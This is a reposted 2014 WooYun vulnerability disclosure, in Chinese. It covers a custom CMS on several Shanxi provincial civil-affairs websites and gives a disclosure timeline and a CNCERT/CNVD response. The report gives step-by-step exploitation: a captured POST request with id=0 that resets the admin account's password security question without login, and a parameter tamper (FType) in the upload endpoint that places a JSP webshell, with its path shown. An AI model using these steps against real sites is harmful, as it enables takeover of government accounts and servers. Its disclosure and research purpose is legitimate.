某省民政局专用CMS无需登录越权重置任意账户密码/任意文件上传GetShell

admin 2015年4月21日17:43:45评论310 views字数 299阅读0分59秒阅读模式
摘要

2014-07-06: 细节已通知厂商并且等待厂商处理中
2014-07-09: 厂商已经确认,细节仅向厂商公开
2014-07-12: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-09-02: 细节向核心白帽子及相关领域专家公开
2014-09-12: 细节向普通白帽子公开
2014-09-22: 细节向实习白帽子公开
2014-10-02: 细节向公众公开

漏洞概要 关注数(11) 关注此漏洞

缺陷编号: WooYun-2014-67361

漏洞标题: 某省民政局专用CMS无需登录越权重置任意账户密码/任意文件上传GetShell 某省民政局专用CMS无需登录越权重置任意账户密码/任意文件上传GetShell

相关厂商: Cncert国家互联网应急中心

漏洞作者:

提交时间: 2014-07-06 12:34

公开时间: 2014-10-02 12:36

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 20

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: webshell 设计缺陷/边界绕过 逻辑错误 任意文件写入利用 webshell webshell

1人收藏


漏洞详情

披露状态:

2014-07-06: 细节已通知厂商并且等待厂商处理中
2014-07-09: 厂商已经确认,细节仅向厂商公开
2014-07-12: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-09-02: 细节向核心白帽子及相关领域专家公开
2014-09-12: 细节向普通白帽子公开
2014-09-22: 细节向实习白帽子公开
2014-10-02: 细节向公众公开

简要描述:

前神挖洞,后魇乘凉
跟在大神后面捡了个漏..

详细说明:

http://**.**.**.**/bugs/wooyun-2010-059172 Huc-Unis提交过

山西省多个民政网(还有少部分非民政的~),使用了同一CMS导致存在越权重置任意账户密码及任意文件上传GetShell

以下案例摘取自前人提交的(只是枚举案例,网站后面跟的参数跟要提交的漏洞无关):

code 区域
http://**.**.**.**/content/topicdeal.jsp?id=1&action=read  山西省民政网
http://**.**.**.**/content/topicdeal.jsp?id=1&action=read 运城民政信息网
http://**.**.**.**/content/topicdeal.jsp?id=1&action=read 晋城市民政网
http://**.**.**.**/content/topicdeal.jsp?id=1&action=read 临汾市民政网
http://**.**.**.**/content/topicdeal.jsp?id=1&action=read 大同市城区民政网
http://**.**.**.**/content/topicdeal.jsp?id=1&action=read 朔州市民政网
http://**.**.**.**/content/topicdeal.jsp?id=1&action=read 阳泉市民政网
http://**.**.**.**/content/topicdeal.jsp?id=1&action=read 山西防汛抗旱网

此处全程以 **.**.**.** 山西防汛抗旱网演示:

1. 无需登录越权重置任意账户密码

在站点首页登录,注册账户处:http://**.**.**.**/user/reguser.jsp?id=&step=2&action=new

某省民政局专用CMS无需登录越权重置任意账户密码/任意文件上传GetShell

提交注册的时候抓包,将/user/reguser.jsp?id=修改成id=0 (此处的id=0,就是默认的管理帐号admin,或者也可以直接访问user/reguser.jsp?id=0&step=2&action=new进行注册)

code 区域
POST /user/reguser.jsp?id=&step=2&action=save HTTP/1.1
Host: **.**.**.**
Proxy-Connection: keep-alive
Content-Length: 350
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://**.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://**.**.**.**/user/reguser.jsp?id=&step=2&action=new
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=8FF1ABA3D2338F2526239008EC472559

USERHEAD=images%2Fhead%2Fdefault.gif&USERHEADPATH=&USERNAME=ceshi110&UPWD=ceshi110&REUPWD=ceshi110&UPWDQRY=ceshi110&UPWDQRYX=ceshi110&REALNAME=&USEX=1&COUNTRY=0&PROVINCE=0&CITY=0&FROMWHERE=0%2C------%2C0%2C------%2C0%2C------%3B&BIRTHDAY=1970-01-01&UPHONE=&UEMAIL=ceshi110%**.**.**.**&USERSIGN=&UINGRP=6&SAVEOREDIT=new&SAVEFLAG=1&submit=+%D7%A2+%B2%E1+

某省民政局专用CMS无需登录越权重置任意账户密码/任意文件上传GetShell

修改成功后,用户信息进行了更新,登录下admin的密码测试是否越权修改了

输入admin:ceshi110,提示密码错误,失败了

但是我们试试找回密码呢?呵呵,密保问题成功修改

某省民政局专用CMS无需登录越权重置任意账户密码/任意文件上传GetShell

某省民政局专用CMS无需登录越权重置任意账户密码/任意文件上传GetShell

记下密码登录,然后直接登录后台http://**.**.**.**/admin/

某省民政局专用CMS无需登录越权重置任意账户密码/任意文件上传GetShell

可以查看并修改全站用户,而且在后台的修改密码处无需验证原帐号的密码可输入新密码直接修改

其他几个站点我也测试了,同理均可修改,可自测

漏洞证明:

2. 任意文件上传GetShell

登录后台上传图片操作时发现该CMS使用了ewebeditor编辑器,试了下默认后台,找不到地址无果略过

图片上传限制了上传格式,不过还是可以突破

上传地址为:http://**.**.**.**/edit/FileUp.jsp?FPath=images%5Cbg&FSize=100&FType=1&FNums=1

某省民政局专用CMS无需登录越权重置任意账户密码/任意文件上传GetShell

某省民政局专用CMS无需登录越权重置任意账户密码/任意文件上传GetShell

将FType=1修改成要上传的文件,如我的是:wooy.jsp (必须连文件名,只修改成jsp会上传失败)

某省民政局专用CMS无需登录越权重置任意账户密码/任意文件上传GetShell

某省民政局专用CMS无需登录越权重置任意账户密码/任意文件上传GetShell

上传后返回了路径,http://**.**.**.**/images/bill/1404440153718.jsp

某省民政局专用CMS无需登录越权重置任意账户密码/任意文件上传GetShell

(PS:这个上传功能非管理员普通用户也可上传)

修复方案:

见详细说明通报所涉及的政府站点

版权声明:转载请注明来源 @乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-07-09 11:26

厂商回复:

CNVD确认并复现所述情况,根据测试用例,认定为定制开发系统,已经转由CNCERT下发给山西分中心处置。rank 20

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2014-07-17 18:54 | zhxs ( 实习白帽子 | Rank:69 漏洞数:26 | 不是你不行、只是路不平ฏ๎๎๎๎๎๎๎๎...)

    1

    大神、、

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin